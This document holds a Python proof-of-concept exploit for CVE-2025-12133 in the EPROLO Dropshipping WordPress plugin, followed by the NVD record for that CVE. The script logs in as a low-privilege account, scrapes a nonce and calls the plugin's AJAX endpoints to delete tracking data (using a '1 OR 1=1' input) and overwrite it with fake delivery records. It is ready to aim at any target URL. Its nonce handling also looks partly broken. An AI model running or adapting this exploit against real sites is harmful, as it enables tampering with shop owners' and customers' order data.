CVE-2025-12133

# CVE-2025-12133 PoC - EPROLO Dropshipping Unauthorized Data Modification # Affected Version: <= 2.3.1 import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_nonce(wordpress_url): """Get WordPress nonce for AJAX requests""" login_url = f"{wordpress_url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Get page with nonce response = session.get(f"{wordpress_url}/wp-admin/admin.php?page=eprolo-settings") # Extract nonce from page source (simplified) import re nonce_match = re.search(r'data-nonce="([a-f0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_delete_tracking(wordpress_url): """Exploit wp_ajax_eprolo_delete_tracking endpoint""" session = requests.Session() # Login session.post(f"{wordpress_url}/wp-login.php", data={"log": USERNAME, "pwd": PASSWORD}) # Send malicious request to delete tracking data exploit_data = { "action": "eprolo_delete_tracking", "tracking_id": "1 OR 1=1", # SQL-like manipulation "security_nonce": get_nonce(wordpress_url) } response = session.post( f"{wordpress_url}/wp-admin/admin-ajax.php", data=exploit_data ) print(f"[+] Delete Tracking Response: {response.status_code}") print(response.text) def exploit_save_tracking(wordpress_url): """Exploit wp_ajax_eprolo_save_tracking_data endpoint""" session = requests.Session() # Login session.post(f"{wordpress_url}/wp-login.php", data={"log": USERNAME, "pwd": PASSWORD}) # Send malicious request to modify tracking data exploit_data = { "action": "eprolo_save_tracking_data", "tracking_id": "999", "tracking_number": "MALICIOUS-TRACKING-123", "tracking_status": "delivered" } response = session.post( f"{wordpress_url}/wp-admin/admin-ajax.php", data=exploit_data ) print(f"[+] Save Tracking Response: {response.status_code}") print(response.text) if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") print("[*] Exploiting CVE-2025-12133...") exploit_delete_tracking(TARGET_URL) exploit_save_tracking(TARGET_URL)

{"cve": {"id": "CVE-2025-12133", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:05.540", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EPROLO Dropshipping plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wp_ajax_eprolo_delete_tracking and wp_ajax_eprolo_save_tracking_data AJAX endpoints in all versions up to, and including, 2.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify and delete tracking data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3412888%40eprolo-dropshipping&new=3412888%40eprolo-dropshipping&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/eprolo-dropshipping/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a124da63-01a4-44d8-985b-cacef58ea9a3?source=cve", "source": "[email protected]"}]}}